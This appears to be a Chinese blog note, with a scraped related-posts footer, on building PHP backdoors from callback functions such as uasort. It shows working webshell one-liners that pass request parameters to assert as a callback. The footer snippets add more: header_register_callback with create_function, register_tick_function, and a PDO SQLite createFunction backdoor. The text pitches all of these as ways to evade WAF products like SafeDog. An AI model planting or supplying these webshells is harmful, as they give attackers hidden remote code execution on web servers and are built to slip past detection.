PHP 回调后门笔记

在php中 存在回调函数参数的函数,都有可能作为后门

比如array_map , array_filter 这类数组操作的回调函数,但是在安全狗下会被杀掉

但是uasort 这类函数不会被杀掉。

php5.4.8之后的assert

在5.4.8之后,assert函数由一个参数,变成了两个参数。增加了一个可选参数descrition:

5.4.8 增加了参数 description。 description 现在也作为第四个参数提供给 ASSERT_CALLBACK 模式里的回调函数。

那么这里就可以使用有两个参数的回调函数了,比如

	<?php
	$e = $_REQUEST[‘e‘];
	$arr = array($_REQUEST[‘pass‘] , ‘te‘);
	uasort($arr , $e);

在php5.3环境下会报错,因为5.3的assert只有一个参数。

在php5.4以后就可以执行了

这里的传递参数的顺序也有变化,在php7之前不包括PHP7 , 传递参数是array的第一个参数就是回调函数的第二个参数。

在php7及以后,array的第一个参数是回调函数的第一个参数。

比如:

	function mysort($var_1 , $var_2)
	{
		echo "var_1 : ".$var_1."<br>";
		echo "var_2 : ".$var_2."<br>";
	}

	$arr = array("1" , "2");
	uasort($arr , ‘mysort‘);

在php7以前的环境输出:

var_1 : 2
var_2 : 1

在php7及其以后的环境输出:

var_1 : 1
var_2 : 2

时间: 2024-11-03 21:10:55

PHP 回调后门笔记的相关文章

PHP后门之冷门回调函数(过waf)

header_register_callback(create_function('','return assert($_POST[\'k\']);')); $e = $_REQUEST['e']; declare(ticks=1); register_tick_function ($e, $_REQUEST['pass']);` 数据库回调后门 $e = $_REQUEST['e']; $db = new PDO('sqlite:sqlite.db3'); $db->sqliteCreateF

ThinkPHP留后门技巧

原文链接:https://www.leavesongs.com/PENETRATION/thinkphp-callback-backdoor.html 90sec上有人问,我说了还有小白不会用.去年我审计TP的时候留意到的,干脆分析一下代码和操作过程. thinkphp的I函数,是其处理输入的函数,一般用法为I('get.id')——从$_GET数组中取出键为id的值,post.cookie类似. let me see see I函数的代码: 01 function I($name, $defa

php一句话后门过狗姿势万千之后门构造与隐藏【二】

第二章节主要带给大家一些后门构造思路,与安全狗文件特征检测的机制. 另外强调一下,这篇文章需要大家对于php有一定的认识. 本章节分为三大部分,第一部分针对初级,分析菜刀php代码的执行过程,较基础:第二部分主要总结一些可以利用的后门姿势,这部分我主要给大家分享一些搜集的后门,希望可以拓展大家的思路:第三部分主要分享后门隐藏之道. 声明:在后门举例中大部分后门构造与思路,可能网上都有类似的,如有雷同,来打我呀! 目前主流的waf软件(如安全狗)一般对于后门文件有主动查杀与被动查杀,主动好理解,被

PHP一句话后门过狗姿势万千之后门构造与隐藏

第二章节主要带给大家一些后门构造思路,与安全狗文件特征检测的机制. 另外强调一下,这篇文章需要大家对于php有一定的认识. 本章节分为三大部分,第一部分针对初级,分析菜刀php代码的执行过程,较基础:第二部分主要总结一些可以利用的后门姿势,这部分我主要给大家分享一些搜集的后门,希望可以拓展大家的思路:第三部分主要分享后门隐藏之道. 声明:在后门举例中大部分后门构造与思路,可能网上都有类似的,如有雷同,来打我呀! 目前主流的waf软件(如安全狗)一般对于后门文件有主动查杀与被动查杀,主动好理解,被

Android开发学习之路-记一次CSDN公开课

今天的CSDN公开课Android事件处理重难点快速掌握中老师讲到一个概念我觉得不正确. 原话是这样的:点击事件可以通过事件监听和回调两种方法实现. 我一听到之后我的表情是这样的: 这跟我学的看的都不一样啊,这还分监听和回调.这个时候我立马提出问题,嗯,讲课老师看到了. 老师就说了:是不一样的,我们第四点(最后一点)会讲. 好,我立马坐好准备受教听了大半小时.听到最后我的表情是这样的: 废话说够了,开个小玩笑,不要见怪. 我们都知道,监听事件其实只有一种,就是回调.如果有人不明白什么是回调?可以

【转载】Joomla远程代码执行漏洞分析

利用脚本.exp:python jj.py http://123.123.123.123 ->直接GETSHELL python jj.py http://123.123.123.123 "whoami" ->执行命令#author:we8i&90sec import urllib2,urllib,base64 import cookielib,sys,re cj = cookielib.CookieJar() opener = urllib2.build_open

关于PHP中的webshell

一.webshell简介 webshell就是以asp.php.jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门.黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的. 顾名思义,“web”的含义是显然需要服务器开放web服务,“shell”的含义是取得对服务器某种程度上操作权限.webshell常常被称为入侵者通过网

十四、Android学习笔记_Android回调函数触发的几种方式 广播 静态对象

一.通过广播方式: 1.比如登录.假如下面这个方法是外界调用的,那么怎样在LoginActivity里面执行登录操作,成功之后在回调listener接口呢?如果是平常的类,可以通过构造函数将监听类对象传入即可.但是在Activity中不能传递监听对象,所以考虑使用广播来实现. public void login(final LoginOnClickListener listener) { Intent intent = new Intent(context, LoginActivity.clas

[Android学习笔记]ListView中含有Button导致无法响应onItemClick回调的解决办法

转自:http://www.cnblogs.com/eyu8874521/archive/2012/10/17/2727882.html 问题描述: 当ListView的Item中的控件只是一些展示类控件时(比如TextView),注册ListView的监听setOnItemClickListener之后,当点击Item时候会触发onItemClick回调. 但是,当Item中存在Button(继承于Button)的控件时,onItemClick回调不会被触发. 解决方案: 在Item的布局文件